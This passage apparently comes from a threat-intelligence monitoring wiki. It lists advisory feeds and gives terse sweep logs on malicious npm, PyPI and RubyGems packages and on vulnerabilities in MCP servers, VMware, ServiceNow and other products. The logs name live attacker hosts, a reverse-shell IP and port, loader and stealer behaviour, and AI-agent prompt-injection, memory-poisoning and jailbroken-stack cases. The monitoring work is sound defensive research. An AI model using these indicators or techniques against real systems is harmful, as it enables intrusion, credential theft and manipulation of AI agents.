file-level/behavior-level detail; watch ## Source: amazon-inspector headers in the malware-class API as a durable channel. Earlier: September 16, 2026 (afternoon UTC batch): GHSA-cv3r-c5h8-f4g5 / CVE-2026-61560 (@zereight/mcp-gitlab, CVSS 9.8), unauthenticated SSE transport (the documented Docker default) chained with arbitrary file read in default-on upload_markdown exfiltrates /proc/self/environ and the GitLab PAT for full account takeover; patched 2.1.27 + SSE_AUTH_TOKEN required, see mcp-gitlab page; Sep 16 evening update: the repo advisory list carries SIX published advisories on this package in ~10 weeks, SSRF via X-GitLab-API-URL when ENABLE_DYNAMIC_API_URL=true attaching the victim's Private-Token to attacker hosts (GHSA-2h44-8472-frjj / CVE-2026-61559), DNS rebinding to the local Streamable-HTTP transport, no Host/Origin validation (GHSA-vmp7-252j-cwp7 / CVE-2026-61568), execute_graphql defeating read-only mode AND GITLAB_ALLOWED_PROJECT_IDS + unauthenticated /mcp + session-exhaustion DoS (GHSA-5648-rgj9-v224, reviewed on 2.1.28 = AFTER the 2.1.27 fix), raw-job_id traversal to arbitrary /api/v4/ endpoints (GHSA-7c3w-fxgh-frc7, confirmed 2.1.18), download_release_asset path escape (GHSA-4rm9-rfp2-j39q, tested 2.1.30), siblings list no first_patched_version while npm latest churns (2.1.63 Sep 16): run the newest release, not a pinned patched version. Same batch adds MikroTik RouterOS before 7.24 GHSA-2jvh-jvq5-35jq / CVE-2026-89028 (High, userspace SMB daemon heap corruption via integer underflow in the SMB1 SessionSetupAndX uniPwdLen handler) + an OOB read in the same daemon, third-party GHSA import, no KEV row or ITW evidence yet, watch given the fresh MikroTrick KEV wave (fixed builds 6.49.21 / 7.23.4 / 7.24.2 already mandated by Sep 13 BOD deadline), plus ~10 routine BIND DNSSEC/SVCB resolver advisories, a Jenkins plugin batch (Script Security x9 etc.), Keycloak SAML/policy-enforcer flaws, and LMdeploy pickle-deserialization RCE (GHSA-5h8j-6crg-7rmw, critical, niche), all below page bar absent exploitation. MCP and AI-workflow privileged-proxy failures such as Meta Ads MCP GHSA-9gw6-46qc-99vr / CVE-2026-48039, where unauthenticated HTTP tool dispatch and error serialization expose the operator's Meta access token; Flyto2 Core GHSA-jx74-cqjv-2c67 / CVE-2026-67426, where an unauthenticated verification service sends its internal runner secret to a caller-selected callback URL; and Grafana MCP GHSA-fr94-7cqc-vjrq / CVE-2026-19516, where X-Grafana-URL and grafana_api_request turn the server into a readable proxy for internal, loopback, link-local, and metadata services; developer-tool confused-deputy failures such as Microsoft Kiota GHSA-hq9q-27g5-qwpj / CVE-2026-59865; multi-tenant AI state-store failures such as LangGraph GHSA-47pj-3jcm-6whg / CVE-2026-71433, where non-segment-aware PostgreSQL and SQLite namespace matching could disclose sibling-tenant records and affected hosted LangSmith deployments; and August 25, 2026 Chainlit MCP advisories GHSA-w3fx-mc44-mf6j / CVE-2026-45018 (unauthenticated stdio-transport command-injection RCE via allowlisted-name npx -y -c arguments, CVSS 9.8) and GHSA-hvfh-5mj3-5f3j / CVE-2026-45019 (SSRF via sse / streamable-http transports with attacker-controlled header forwarding to internal and metadata endpoints, CVSS 7.2), both gated on features.mcp.enabled and fixed in 2.12.0, monitor affected-version changes, patch confirmation, exposure measurements, and exploitation evidence; see Chainlit MCP RCE/SSRF page; and August 26, 2026 GHSA-93qj-5q5v-3c2h "Trojanized pantheon-agents 0.6.1 and 0.6.2 on PyPI ship a credential stealer (supply-chain account compromise)" (severity critical, CWE-506/CWE-522), first-party confirmation that the pantheon-agents PyPI account was compromised in the June 2026 Hades / Mini Shai-Hulud / Miasma wave via a stolen long-lived PyPI API token; only the PyPI artifacts are affected (clean GitHub source), first_patched_version 0.6.4, .pth startup hook + Bun + _index.js stealer, account suspended / token disabled, migration to PyPI Trusted Publishing (OIDC), sibling packages executor-engine / funcdesc / cmd2func / pantheon-toolsets / coolbox / ufish / magique / executor-http remediated separately, see pantheon-agents PyPI trojanization page; and August 27, 2026 two further advisory groups: GHSA-mf7q-r4rv-jv94 (Crossplane crossplane-runtime/v2, High, no CVE), a cosign signature-verification TOCTOU where tag-based (non-digest) install from an untrusted OCI registry resolves the tag separately for verification vs. fetch, letting a registry serve a signed image to pass cosign then a different unsigned/attacker image for install (CWE-345/CWE-367; affected =2.4.0-rc.0 and 2.3.0-2.3.2; fix v2.3.3 / v2.2.3 / rc.1; mitigate by pinning image digests), see GitHub Security Advisories Aug 27 page; plus a coordinated Silverstripe release: GHSA-39mm-rwm3-29jp / CVE-2026-54718 (High) RCE via advancedworkflow email template (fix 6.4.5 / 7.1.3 / 7.2.1), GHSA-g8wr-r2v2-vqc6 / CVE-2026-54721 (High) RCE via userforms email subject (fix 6.4.9 / 7.0.7 / 7.1.1), and GHSA-gvrw-qqp5-jgc5 / CVE-2026-54720 (Medium**) XSS via framework media embed (fix 6.2.2), monitor exploitation evidence, KEV listing, and CVE backfill on the Crossplane advisory)
• Asim Manizada (heyitsas.im), kernel LPE research feed (HTML watch; the author of the Sep 18 public exploit quartet DirtyAH6 / TUNderflow / PPPoEject / DiagSpill (CVE-2026-80844 / CVE-2026-81000 / CVE-2026-68121 / CVE-2026-74469, all fixed upstream, none KEV-listed at capture, captured in the Sep 18 KEV page follow-up); publishes under a linux-distros coordinated embargo with exploit code alongside write-ups, and credits discovery to an LLM-assisted harness ("Getting LLMs Drunk to Find Remote Linux Kernel OOB Writes" lineage, graph-based security-object tracking + geometric memory-state agents), i.e. a recurring pipeline of embargoed, LLM-found kernel bugs with public PoCs at T+0. Monitor: the next coordinated publication, KEV additions for any of the four, distro-errata coverage, and copycat/ITW weaponization of the quartet, the blog itself is the primary source, THN is secondary.)
• CERT-UA (HTML/API watch for Ukraine-focused actor campaigns, UAC cluster reports, malware component names, and indicator bundles, including UAC-0145 / Sandworm subcluster access evolution, ClickFix on compromised sites, SMARTAXE smart-contract domain resolution, and COWARDDUCK Android activity; article pages can be queried via /api/articles/byId?id=<article-id>)
• Europol / Eurojust / FBI IC3 / SBU public cyber notices, watch for criminal infrastructure takedowns, seized domains, exit-node indicators, ransomware-enabler service descriptions, TDS / fake-update warnings, and law-enforcement caveats that can update tool/infrastructure pages such as the June 2026 Operation Endgame SocGholish / FakeUpdates disruption; also monitor FBI/CISA/SBU messaging-application targeting advisories such as Russian Intelligence Services / FSB commercial-messaging phishing tracked as UNC5792 / UNC4221, Backup Recovery Key theft against Signal users, SMS-style fake-support lures, and QR-code account-linking attempts.
• BKA / German cybercrime prosecutors and Indonesian police public notices, monitor phishing-as-a-service infrastructure disruptions, arrests, victim-notification updates, server and customer counts, seized indicator releases, and service-resilience findings following the July 2026 Kratos takedown.
• AIVD / MIVD public cyber advisories, https://english.aivd.nl/cyberadvisories and https://english.defensie.nl/ (watch intelligence-derived Russian and other state-actor advisories with operational defender value, including internet-exposed IP-camera compromise for image-recognition-assisted collection on military vehicles, cargo, logistics routes, weapons deliveries, and personnel in Ukraine and EU/NATO states.)

• NCSC-NL / Dutch Police cyber notices, https://www.ncsc.nl/nieuws and https://www.politie.nl/nieuws (watch Netherlands-hosted criminal infrastructure, botnet takedowns, residential-proxy / IoT-device abuse, hosting-provider disruptions, seized servers, and follow-up victim-notification or indicator releases such as the 17-million-device botnet disruption).

• Nebula Security research (HTML watch for kernel, virtualization, and exploit-development research with durable defender value such as GhostLock / CVE-2026-43499 local-root and container-escape writeups, public exploit release, and kernelCTF context.)

• Varonis Threat Labs (HTML watch for SaaS, identity, data-security, and AI-agent platform research such as Rogue Agent Dialogflow CX Code Blocks shared-runtime compromise, managed Cloud Run egress, VPC Service Controls bypass, IMDS exposure, and audit-log visibility gaps; August 19 follow-up: CoSnitch / CVE-2026-24301 Copilot Personal autorun=1 one-click connected-app data exfiltration and memory-injection persistence)
• Varonis RovoBlast / Bugcrowd disclosure and PromptArmor Rovo analysis (August 8 priority follow-up; monitor Atlassian for confirmation and remediation of the indirect prompt-injection / URL-retrieval path that PromptArmor reported as unresolved on August 5, while keeping it distinct from the fixed P2 rovoChatPrompt one-click injection accepted through Bugcrowd. Monitor connector scope, destination controls, audit artifacts, exploitation evidence, and additional outbound channels such as Markdown-image rendering.)

Maintainer / vendor incident posts to watch during active campaigns

• Broadcom VMware security advisories, https://support.broadcom.com/security-advisories (monitor VMSA-2026-0006 and later vCenter / ESX updates for CVE-2026-59309 authentication bypass, CVE-2026-59310 network-reachable code execution, CVE-2026-47876 VMXNET3 guest-to-host escape, revised product matrices, public exploit release, active-exploitation evidence, and incident-response guidance)
• Ruflo security advisories and releases, https://github.com/ruvnet/ruflo/security/advisories and https://github.com/ruvnet/ruflo/releases (monitor CVE-2026-59726 / GHSA-c4hm-4h84-2cf3 for affected-version clarification, exposed-instance measurements, in-the-wild exploitation, memory-poisoning artifacts, additional MCP authorization changes, and provider-key or conversation-impact follow-ups)
• ServiceNow security advisories, https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB3137947 (watch CVE-2026-6875 AI Platform sandbox-escape exploitation for fixed-release changes, public indicators, victim scope, and vendor incident-response guidance; keep it distinct from the June hosted-instance table-query issue; August 27, 2026: new AI Platform / Now Platform advisory with three CVSS 10.0 unauthenticated flaws, CVE-2026-18885 GraphQL Composite Data API code injection, CVE-2026-18886 configuration-image upload access control, CVE-2026-74820 dynamic-schema ORDER BY SQLi, plus the unauthenticated sandbox-escape CVE-2026-6876; deployed to hosted instances, self-hosted customers must apply, see ops/servicenow-ai-platform-august-27-2026-three-cvss-10-unauthenticated-flaws.md)
• Hugging Face incident follow-ups, https://huggingface.co/blog/security-incident-july-2026, https://huggingface.co/blog/agent-intrusion-technical-timeline, and https://github.com/huggingface/blog/blob/main/security-incident-july-2026.md (watch for the Artifactory CVE and fix, unredacted indicators, remaining third-party account notifications, independent validation, additional customer or partner scope, and changes to the five-dataset impact and no-shipped-artifact-tampering assessments.)
• JSONata security advisories and releases, https://github.com/jsonata-js/jsonata/security/advisories and https://github.com/jsonata-js/jsonata/releases (August 21, 2026: three critical arbitrary-code-execution advisories published with public PoCs, CVE-2026-77413 / GHSA-8gq3-vp5j-2grp (lookup missing hasOwnProperty, fixed PR #794 in 2.2.0 / 1.8.8), CVE-2026-77414 / GHSA-2943-5xfg-gq5f (bypassable hasOwnProperty in environment.lookup, fixed PR #799 in 2.2.1 / 1.8.8), CVE-2026-77415 / GHSA-66mm-25pp-rfff ($clone overwrite + lambda destructuring + applyProcedure proc.arguments.forEach, fixed PRs #799/#800/#802 in 2.2.1 / 1.8.8), see tools/jsonata-cve-2026-77413-77414-77415-arbitrary-code-execution.md. Monitor for in-the-wild exploitation, PoC abuse in ETL/integration/workflow hosts that evaluate attacker-influenced expressions, a fourth bypass, and KEV addition. Patch targets are jsonata >= 2.2.2 / >= 1.8.9.)
• Xinference (xorbitsai/inference) security advisories and releases, https://github.com/xorbitsai/inference/security/advisories and https://github.com/xorbitsai/inference/releases (August 21, 2026: CVE-2026-61539 / GHSA-x2rj-828p-hx9m, critical CVSS 10.0 unauthenticated RCE via unsafe eval() in the Llama3 tool-call parser (extract_tool_calls in tool_parsers/llama3_tool_parser.py), CWE-95; fixed in 2.7.0 by PR #4786 (merged 2026-04-14, PyPI 2026-04-25) so the advisory retroactively credits the disclosure; see tools/xinference-cve-2026-61539-llama3-tool-call-eval-rce.md. Monitor for KEV addition, in-the-wild exploitation of exposed instances running <= 2.5.0, and whether other tool parsers shipped the same eval pattern.)
• Nx / nrwl security advisories and issues, https://github.com/nrwl/nx/security/advisories and https://github.com/nrwl/nx/issues
• Grafana Labs security posts and security advisories (monitor Grafana MCP Server advisories such as CVE-2026-19516, affected-version and managed-service scope, replacement or bypass paths after removal of X-Grafana-URL, explicit caller-authentication defaults, exposure measurements, and exploitation evidence)
• PyPI project and malware-report pages for affected packages, use package-specific release history as confirmation for yanked or restored versions.
• Packagist package pages and maintainer incident notes, watch package metadata/tag movement and unexpected composer-plugin conversions during Mini Shai-Hulud-style cross-ecosystem incidents.
• LiteSpeed / cPanel security notices, watch vendor advisories and cPanel support notices for actively exploited hosting-control-plane flaws and forced-removal/patch guidance, including LiteSpeed cPanel Plugin CVE-2026-54420 root escalation on CloudLinux / CageFS shared-hosting systems and August 27, 2026 CVE-2026-65643, authenticated parked/addon-domain arbitrary file write yielding root code execution on shared hosting, all supported versions (110/134/136/138 branches), fixed build 11.138.1.7 (WP Squared), no CVSS and no CVE Program record as of August 28, see ops/cpanel-whm-cve-2026-65643-parked-addon-domain-root-rce.md.
• Progress / ShareFile status and advisories and Progress security notices (watch emergency shutdown or access-disablement guidance for customer-operated ShareFile Storage Zone Controllers, including July 2026 credible external security threat reporting, safe-restart instructions, CVE assignment, IOCs, and affected-version ranges; cross-reference watchTowr's Storage Zone Controller CVE-2026-2699 / CVE-2026-2701 pre-authentication RCE chain for safe exposure-validation and web-shell hunt pivots without assuming it is the current incident path.)
• SolarWinds security advisories (Trust Center) (HTML watch; September 17-19, 2026 batch: CVE-2026-28326 Access Rights Manager hard-coded static key → unauthenticated RCE, 8.8, all ARM ≤ 2026.2, fixed 2026.2.1, no ITW reported + 16 Serv-U fixes (priv-esc / RCE / admin-account creation, CVE-2026-28302/28304-28317/28321/28323) + WHD CVE-2026-28323 SAML bypass context, see Serv-U page Sep 19 follow-up; monitor KEV additions for any of the batch, ITW reports on ARM/Serv-U, and whether the second consecutive SolarWinds batch prompts the vendor's own security-review response.)
• BeyondTrust security advisories (HTML watch; monitor Remote Support / Privileged Remote Access authentication-bypass and appliance-control flaws such as BT26-03 / CVE-2026-40138 / CVE-2026-40139, especially where exposed RS/PRA systems have prior web-shell / backdoor exploitation history.)
• DAEMON Tools / Disc Soft notices and release notes; watch follow-ups to DAEMON Tools Lite CVE-2026-8398, installer integrity claims, rebuild/version guidance, and infrastructure-remediation details.
• Visual Studio Code release notes / Marketplace security changes, https://code.visualstudio.com/updates/ and https://marketplace.visualstudio.com/VSCode (watch extension-marketplace mitigations, delayed auto-update changes, publisher-trust exceptions, and response details following poisoned-extension incidents such as Nx Console.)

Notes

• Prefer RSS/Atom over ad hoc web searches.
• If a feed URL changes, update this page and the monitoring config together.
• If a source produces repeated noise, lower its priority before removing it.

Active watch topics

• 178th sweep: OSV QUIET 18190-18210 all 404 = HIGH-WATER HOLDS 18189 RESUME 18190 (160th control, second quiet hour) - ENFORCEMENT NON-MONOTONIC, TWO SCOPES ONE WINDOW: jsDelivr RE-SERVES @sudobility 0.0.146+2.3.102 (200 x2-read) while registry keeps them 404 (purge has its own clock, undo-class; survivor sweeps run AFTER confirmed purges) + bbmarker TOTAL TAKEDOWN UNDONE all-five-routes 200 with ORIGINAL Oct-18 time stamps = restore not re-arm, time-stamp discrimination at first read. Scope hole FIFTH window ~10 h (qxg9 updated_at=published_at direct-read identical); shadow chain FIFTH no-rotation read (aaa45c5f ~10 h, host ~28 h, packument only under /dl/npm/); pair mirror ZERO fifth; podzal silence ~3.8 h. ABOVE-BAR: NEW PAGE eMudhra eight intermediate CA keys compromised (weak generation, derivable from public certs, cACompromise 14-min revocation window, TWO code-signing intermediates, Sectigo cross-signs, CCADB bug 2083449 beats vendor prose by ~24 h) + PHP2Shell Unit 42 fold-in (22.6M Xpanse exposed, PoC seen, EU gov website offline precaution, KEV unlisted ~+30 h). KEV unchanged 2026.10.21/1,754 12th; oob 60th; gem +7; blossom91 13th ~27 h; eltio/baileyx NEG 16th. MONITOR: sudobility CDN streak + gap-fills, bbmarker restore stability + fleet oscillation, reutil ~+48 h, podzal #8, 18190 third hour, scope-hole ~12 h, aaa45c5f sixth, KEV Oct-22/23, eMudhra abuse clock + emSign root survival + CS-intermediate trust action, oob 61st
• 176th sweep: OSV +2 CONTIGUOUS MAL-2026-18188-18189 = HIGH-WATER MOVES 18189 RESUME 18190 (158th control sweep, quiet streak broken) - PODZAL MAILBOX BURST #3-#6 IN ~20 MIN (cadence collapse ~2h50m -> ~7-8 min, ~35% byte rotation, ANTHROPIC_API_KEY value structurally decodes to FABRICATED AeaApiKey-7xfs9gx8... = constructed-craft class, values never consumed; durable: mailbox traffic analysis separates victim-drop from scripted spam without reading secrets) + 1h1/aanthropic (anthropic one-char squat) kam193 pair quarantined ~2.5h post-mint BEFORE any GHSA (lane differential three-for-three: quarantine follows operator cadence not the advisory clock) + @sudobility +24h verdict NEGATIVE (0.0.146 still packument-listed ~25h, jsDelivr both pins 200 = advisory-without-enforcement confirmed at +24h for the SECOND scope) + RETRACTION: reutil@1.0.3 survivor ALIVE (3x scoped 200 at seizure+~44h; clean 404s are flap-class, survivor END needs a read-streak) + bbmarker GONE all-five-routes 404 double-read ~8.3d = clickfix-fleet first silent takedown, all-route 404 IS the enforcement signal. Shadow binary aaa45c5f byte-identical third read ~6h. Scope hole ~6h unwidened, fmtsubs 1.0.1 + logview 1.0.0 installable third window. KEV direct route 200 unchanged 2026.10.21/1,754 10th test. MONITOR: podzal #7 cadence, 18190 resume, GHSA mirror for pair (expect zero), pair re-reg, @sudobility first seizure read, scope-hole ~8h, aaa45c5f 4th hash, reutil streak, blossom91 24h, bbmarker re-reg, oob 59th
• 173rd sweep: OSV QUIET = HIGH-WATER HOLDS 18187 RESUME 18188 (155th control sweep), SHADOW-REGISTRY ARTIFACT CAPTURE: both rungs live on 139.196.94.195:8080 (cli tarball 1d964879…, linux-x64 tarball 09764830… carrying Go ELF aaa45c5f… 6.26 MB), npm native-binary pattern cloned, self-referential control plane, declared pin 4e829e6c… ≠ served binary = mutable-binary distributor; @sudobility +24 h VERDICT zero enforcement (pins 200 maintainer johnqh); formatting-subtitles 1.0.1 already weaponized (1897120d…); PyPI JSON-vs-simple route divergence (iterquarry/libseal/voxweaver installable via /simple/ while JSON {}); queue #1657 litellm forward-join OPEN, #1653 silently rewrote MAL-2026-18100, #1654 actions-cool tag-hijack reports; 18133 terminal clock crossed = never-join +16; podzal mailbox FIRST issue from claude[bot] 09:00Z; KEV unchanged 2026.10.21/1,754, 173rd stream section
• 172nd sweep: OSV +6 CONTIGUOUS MAL-2026-18182-18187 = HIGH-WATER MOVES 18187 RESUME 18188 (154th control sweep), THE TESTMETEST BENCH RE-SPAWNS ≈12 h AFTER ITS SEIZURE WAVE (test-brotli2/log-rotate/net-codec-testmetest, same two accounts, ALL THREE already re-seized at check) AND THREE NEW ATTACK GRAMMARS IN ONE BATCH: ledger-first SHADOW-REGISTRY HIJACK @conduitops/logview-archive (XOR-masked --registry http://139.196.94.195:8080/dl/npm/, host ALIVE 200, installable ≈15 h post-birth, zero GHSA) + shell-in-JS GIST-FED preinstall formatting-subtitles (fetches the CANONICAL algamil7x gist da04f14c…, six-day-stable, second independently-sourced consumer = recorded not attributed) + OAST RECON BEACON simplewave (oast.fun/Interactsh hostname label, all versions UNPUBLISHED 16:16:52Z = ≈14 h before its own OSV record) → wave-two page; JOIN LAWS CLEANEST FORM: 06:31Z importer mirrored the seized testmetest quintet (GHSA-23vf etc.) with ALL ELEVEN 18177-18187 still aliases None while the three LIVE names got ZERO GHSAs = advisories pile onto dead names, GHSA+OSV permanently disjoint; @worrisome +24 h verdict NO re-arm + jsDelivr reutil@1.0.3 survivor holds at +24 h; @sudobility pins 200 ≈15.5 h; 18133 on ≈07:30Z terminal clock; voice-synth holds 43 (voxweaver files live day two); LiteLLM GHSA blind ≈20 h+; KEV 2026.10.21/1,754 seventh test held; fleet: bbmarker DAY NINE ≈7.3 d, eltio/baileyx NEGATIVE TENTH, oob 54th, jsDelivr @alannxd/baileys RE-ATTESTED (self-capture: wrong pinned version 404s). MONITOR: logview-archive/formatting-subtitles seizure-or-GHSA + 139.196.94.195:8080 drift, testmetest treadmill + account-purge question, gist third-consumer watch, OAST-beacon recurrence, @sudobility +24 h ≈15:2xZ, 18133 terminal verdict, voxweaver day-two, litellm +21 h, KEV 10.22 rows, oob 55th, stream zero-state toward 24 h.
• 171st sweep: OSV +5 CONTIGUOUS MAL-2026-18177-18181 = HIGH-WATER MOVES 18181 RESUME 18182 (153rd control sweep), THE *-testmetest BINDING.GYP WORM WAVE: Phantom-Gyp hook + Bun runtime-swap + self-republish worming + HOSTAGE DEAD-MAN SWITCH (wipes the home directory on GitHub-token revocation; remediation ORDER matters), provenance = HUMAN QUEUE PR ossf/malicious-packages#1656 merged 04:15:25Z (queue is the fast lane: #1655 litellm merged the same evening), all eight registry names seized ≈9-13 h BEFORE API surfacing, zero GHSAs; graduation watch = payload/hook hashes on NON-test names → testmetest page; plus GHSA importer SECOND 25-batch 03:33Z = voice-synth wave-two mirror (batch ticks not per-record latency), wave-one enforcement DRIP begins (batchspar first pull), voxweaver survivor live ≈2 h post-own-GHSA, LiteLLM GHSA skip now FOUR passes / ≈19 h = forward-joins permanently GHSA-invisible, KEV unchanged sixth test. MONITOR: testmetest mirror/re-reg/hash-sightings + net-health-checker/project-utils postmortem sightings, wave-one drip cadence, wave two join-TTL (expect zero), @sudobility +24 h ≈15:2xZ, @worrisome ≈21:20Z, 18133 terminal ≈07:30Z, iterquarry/libseal + gem day two, litellm +20 h, KEV rows, bbmarker day nine, stream toward 24 h.
• 170th sweep: OSV +22 CONTIGUOUS MAL-2026-18155-18176 = HIGH-WATER MOVES 18176 RESUME 18177 (152nd control sweep), 2026-10-voice-synthesis-profiles SECOND 22-name wave ≈2 h after the record break = campaign total 43 names 5.4× emberlytts; publish pipeline ran DURING advisories (voxweaver upload 00:23:14Z predates wave-one 00:32Z GHSAs) = cohort counts are snapshots not totals → emberlytts second-wave; QUARANTINE DIFFERENTIAL BY WAVE INSIDE ONE CAMPAIGN: wave two 21-for-22 quarantined-before-read vs wave one 20-for-21 still installable ≈4 h post-advisory; LONE SURVIVOR ARTIFACT: voxweaver sdist sha 64d69674… = stdlib execute(url) fetch-and-exec-in-process loader (_RETRY_STATUS 408/425/429/500/502/503/504/530, 7 attempts, no install hook) = portable hunt grammar for all 43; @sudobility ZERO seizures ≈12 h post-exact-pin-GHSA, all 4 pins 200, owner johnqh unchanged; iterquarry/libseal + gem 0.2.1 still live; GHSA malware head silent ≈3 h = wave two OSV-only; journey +15 never-join TERMINAL; beacon 137.131.233.62 000→REFUSED = both C2s armed-dead; LiteLLM GHSA blind ≈16 h + collector 403 → blind section; KEV 2026.10.21/1,754 fifth test held; fleet all-holds (bbmarker day eight ≈7.0 d, eltio/baileyx NEGATIVE 8th, baileys jsDelivr flap resolved); ROUTE SELF-CAPTURE: truncated fleet labels 404, full names are the routes → monitor voice-synth wave three, wave-one enforcement arrival, voxweaver disposition, loader-grammar sightings on other names, @sudobility pins toward +24 h, @worrisome ≈21:20Z, 18133 terminal ≈07:30Z, journey listener oscillation, litellm +17 h, KEV rows, bbmarker day nine, fab toward ten, oob 53rd, stream zero-state toward 24 h

• 169th sweep: OSV +22 CONTIGUOUS MAL-2026-18133-18154 = HIGH-WATER MOVES 18154 RESUME 18155 (151st control sweep), kam193 2026-10-voice-synthesis-profiles TWENTY-ONE-name loader cohort (18 in ≈8 min + 3 stragglers; URL-less loaders, *atts/*tts/grip/pack tails interchangeable), QUARANTINE-AT-BIRTH DEFAULT CORRECTED: 19-of-21 STILL INSTALLABLE at check (18/18 main window simple 200+files+json 200; only pipegrip pulled; journey pair holds quarantined) = advised-and-installable is the base rate → emberlytts correction; GHSA 00:32Z TWENTY-SIX-advisory ≈2 s batch (largest malware-lane burst; first RubyGems GHSA GHSA-86pf; @sudobility exact pins) with ZERO joins sampled + ZERO @sudobility seizures (all 4 malicious pins 200 ≈9 h post-publication) = advisory-without-enforcement at cohort scale; journey-test-hellospy second campaign name, beacon 137.131.233.62 DARK 000 + hunt keys /tmp/.jcx_channel.done/JCX_ENVIRONMENT; 66.78.40.218:32768 REFUSED = listener gone, gem live; LiteLLM GHSA lane STILL blind ≈14 h, 00:32Z batch proves importer awake = package SKIPPED; collector 403 +14 h; journey 18124 bracket crossed clean, terminal clock ≈02:30Z; stream zero-state fourth read; KEV 2026.10.21/1,754; fleet all-holds (bbmarker day seven ≈6.8 d, fab day nine ≈+138 h, oob 51st, reutil CDN survivor holds, baileys jsDelivr 502 FLAP = re-read); dl/pyupd 500→404 handler oscillation self-capture → monitor voice-synth quarantine wave, @sudobility first seizure/re-arm read on fully-advised unseized scope, iterquarry/libseal day two, gem disposition + derekiops, 137.131.233.62 dark-vs-revival, journey terminal clock, 26-name join-TTL (expect zero), @worrisome +24 h, S3 miner-stage capture via package presigned URL, litellm.dev +15 h, stream 24 h survival, baileys jsDelivr re-read

• 168th sweep: OSV +7 CONTIGUOUS MAL-2026-18126-18132 = HIGH-WATER MOVES 18132 RESUME 18133 (150th control sweep), THE LITELLM ADVISORY WINDOW CLOSES AT ≈11.5 h VIA FORWARD-JOIN ON THE MARCH RECORD MAL-2026-2144 (modified 22:01:01Z, versions [1.82.7, 1.82.8, 1.107.0], Oct-21 payload text inside; IOCs field = MARCH litellm.cloud NOT October litellm.dev); name-scoped watchers blind, VERSION query the only reliable lookup; GHSA affects=litellm head STILL Sep-30; exfil host 403 alive +12 h, dev-rungs served; GCS dump route 404s ALL ids incl. known-good controls = non-quotable, api.osv.dev the oracle. TWO NEW SURFACES: FIRST RubyGems record MAL-2026-18126 zzhelloworld_socktest (require-time bare-IP reverse shell 66.78.40.218:32768, gem LIVE 0.2.1 owner derekiops, zero GHSA) + NEW npm scope @sudobility/ four names 18127-18130 (postinstall miner.sh → presigned-S3 amplify-gursha-dev-121835-deployment.s3.amazonaws.com → /tmp/.smi root agent / embedded XMRig ~/.sysmond*; malicious rungs ABOVE clean latest, ALL tarballs 200 = installable-by-pin ≈1 h post-advisory, zero seizures/GHSAs). kam193 2026-10-iterquarry SPLIT-PAIR 18131/18132 iterquarry (payload holder, >= 2.2.0 key-less = payload unknowable) + libseal (decrypt/execute provider) BOTH installable at check, zero GHSA. journey aliases None on-pace ≈00:31Z bracket; dl/pyupd 404→500 handler raises; KEV 2026.10.21/1,754 PHP2Shell unlisted +10 h; fleet all-holds (bbmarker ≈6.2 d, oob/177 50th). MONITOR: seven-name join cohort 22:30/23:30 ticks, 66.78.40.218 reachability, S3 payload capture before presign expiry, iterquarry/libseal quarantine, GHSA arrival for litellm 1.107, www.litellm.dev IOC mirroring

• 167th sweep: OSV +2 MINTED MID-SWEEP = HIGH-WATER MOVES 18125 RESUME 18126 (149th control sweep), THE STREAM LEDGER ENDS: blossom91 706→0 three consecutive reads, the entire 706-repo mints account DELETED inside ≈3.5 h, user page still 200 = account alive, repositories gone (operator purge vs platform action open; the ≈8 h record pause ended in TOTAL REMOVAL), THE @worrisome RE-ARM (first RE-ARM counter-instance of the bbmarker law): @worrisome/reutil (MAL-2026-15604 Aug-26, never seized, 162 dl/wk) shipped NEW 1.0.5 TODAY 02:12:50Z while advised-and-installable ≈56 d; sibling aaaa (post-OX-list, 1.0.0 Sep-8) shipped 1.0.1 02:15:43Z; BOTH holder-seized ≈1 s 21:19-21:20Z + same-second GHSAs GHSA-fxf3/GHSA-4f5p, 18125 alias-at-birth, 15604 forward-joined 21:30:24Z; re-arm tarballs 404 registry + jsDelivr = payload unknowable; DURABLE: an OSV record is a label not a lock, alert on registry VERSION events for advised names → OX ClickFix re-arm section; MAL-2026-18124 journey-test-helloshell (kam193, setup.py reverse shell) QUARANTINED-AT-BIRTH = PyPI never-join +15; moveworks 18122 bracket CLOSED CLEAN = +14 TERMINAL; LiteLLM 1.107 coverage window ≈8 h open, exfil host 403 alive +10 h, container probe INCONCLUSIVE (wrong-path 404s ≠ clean); KEV 2026.10.21/1,754 PHP2Shell unlisted +8 h; bbmarker ≈5.6 d; eltio/dreamguyxeon NEGATIVE fifth; trio day six; fab ≈+126 h → monitor stream zero-state persistence + @worrisome re-registration/CDN survivors + OX follow-up + LiteLLM advisories + PHP2Shell KEV/PoC + journey bracket ≈02:30Z**
• 166th sweep: OSV +1 MAL-2026-18123 AT THE RESUME POINT = HIGH-WATER MOVES 18123 RESUME 18124 (148th control sweep), peptide-modify = 0.0.0-stage staging grammar EIGHTH SIGHTING (GHSA-h643 alias-at-birth, seizure ≈160 s, stub string word-for-word, tgz sha d29221d1…; registry time block preserves April 1.0.4-1.0.6 = ≈191 d pre-advisory exposure), WIZ CORROBORATION + DURABLE FORENSIC: LiteLLM full post (upload 11:39Z→quarantine ≈13:20Z, stolen GH CLI OAuth tokens, one account TRIGGERED + a SECOND APPROVED the release run, trojanized GHCR/Docker-Hub images, second stage never armed) + THIS WIKI: BerriAI/litellm/compare/a8113b0d...20535d8f = 200, deleted Berri-AI fork's diff fetchable via parent fork-object sharing = hunt the parent network after takedowns; PHP2Shell vendor GHSAs on the REPO route (GHSA-w8hw/GHSA-6wmf, 13:34Z pre-release, v4 9.2, 4-branch matrix) vs global route 404 +4 h = two-route rule + Wiz full disclosure (four bug instances, worker-memory→response-cookie disclosure, OPcache type confusion, >= 5.4 all touched), NEW PAGE: Unit 42 BUGSTER, Hermes Agent + DeepSeek V4 + Cursor safety-off; two Indian universities hit (>5,200 PII records), AI-authored VoIP-fraud plan (LLC+EIN-no-SSN, 70/30 call mix), vendor: MULTIPLE actors independently adopting the same cheap jailbroken stack → page; stream 706 HOLDS ≈8 h longest gap on ledger; bbmarker ≈5.5 d; trio day five; fab ≈+122 h; KEV 2026.10.21/1,754 zero new rows → monitor LiteLLM 1.107 advisories (open ≈6 h) + GHCR/Docker image probe + PHP2Shell KEV/PoC + global-route indexing + BUGSTER attribution + peptide April cohort**
